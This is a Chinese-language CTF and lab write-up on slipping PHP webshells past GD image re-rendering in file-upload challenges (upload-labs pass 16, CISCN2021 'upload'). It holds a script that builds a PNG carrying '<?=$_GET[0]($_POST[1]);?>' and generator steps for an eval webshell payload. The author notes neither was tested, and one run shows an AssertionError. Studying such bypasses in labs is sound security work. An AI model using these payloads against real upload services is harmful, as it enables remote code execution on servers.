文章目录
- 二次渲染
- 1.二次渲染函数
- labs-16_GIF二次渲染
- cicsn2021-upload
- 2.png渲染绕过
- 参考
二次渲染
1.二次渲染函数
labs-16_GIF二次渲染
(1)imagecreatefromgif($filename):resource,由Gif文件或 URL 创建一个新图象。
成功则返回一图像标识符/图像资源,失败则返回false。(PHP 4, PHP 5, PHP 7, PHP 8)
重点:该函数会对图像进行二次渲染,从而导致图片马的数据丢失,上传图片马失败。
(2)srand(int $seed):void,播下随机数发生器种子,返回随机数。
在Upload-labs的16关里,用于给新图片指定随机文件名。
(3)imagegif(resource $image, $filename):bool,输出图象到浏览器或文件。
Gif二次渲染的绕过相对简单,PNG由于文件结构导致了二次渲染的绕过比较复杂。
cicsn2021-upload
从几十行源码分析下来,会对example/x.zip文件进行解压,得到png图片后进行二次渲染,并输出到/example/
(1)imagecreatefrompng($filename):resource
(2)获取图像宽度函数:int imagesx(resource $image),用于获取图像的宽度,单位为像素,返回值为整型。
imagesy() 函数用于获取图像的高度,语法及用法同 imagesx() 。
min()函数:如果仅有一个参数且为数组,min() 返回该数组中最小的值。如果给出了两个或更多参数, min() 会返回这些值中最小的一个。
(3) resource imagecrop ( $image, $rect ),用于将图像裁剪为给定的矩形。
参数:该函数接受上述和以下描述的两个参数:
$image:它由图像创建功能之一(例如imagecreatetruecolor())返回。它用于创建图像的尺寸。
$rect:裁剪矩形作为具有键x,y,宽度和高度的数组。
返回值:如果成功,此函数将返回裁剪的图像资源;如果失败,则返回False。
(4)pathinfo():mixed,返回文件路径的信息
<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?>
/www/htdocs/inc
lib.inc.php
php
lib.inc
(5)imagepng(resource $image, $filename):bool,输出图象到浏览器或文件。
2.png渲染绕过
(1)使用国外大牛写的脚本,直接拿来运行生成,上传即可。
插入代码是:<?=$_GET[0]($_POST[1]);?>
,Winhex打开发现插入成功,暂未测试可用性。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
(2)根据wp,生成png图片马,插入代码成功,暂未测试解析可用性。
为了绕过图片检测并实现木马的写入我们使用这个脚本。
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
首先要修改脚本中的payload。
https://gchq.github.io/CyberChef/
打开generate.py,修改相关代码为如下代码
text_payload = b"[<?=EVAL($_POST[1]); ?>X"
payload = b"a39f67641d201612546f112e29152b2167226b505050506f5f5310"
执行命令生成图片马:python3 generate.py -m php -o a.png。执行结果如下:
[+] PHP Method Selected. Using 'idontplaywithdarts' payload
AssertionError
使用Winhex打开生成的png图片马,发现插入成功。
参考
《upload-labs之pass 16详细分析》-先知,具有国外大牛写的生成绕过二次渲染图片马的脚本
https://xz.aliyun.com/t/2657
《[CISCN2021 Quals]upload》,生成绕过二次渲染的png图片马。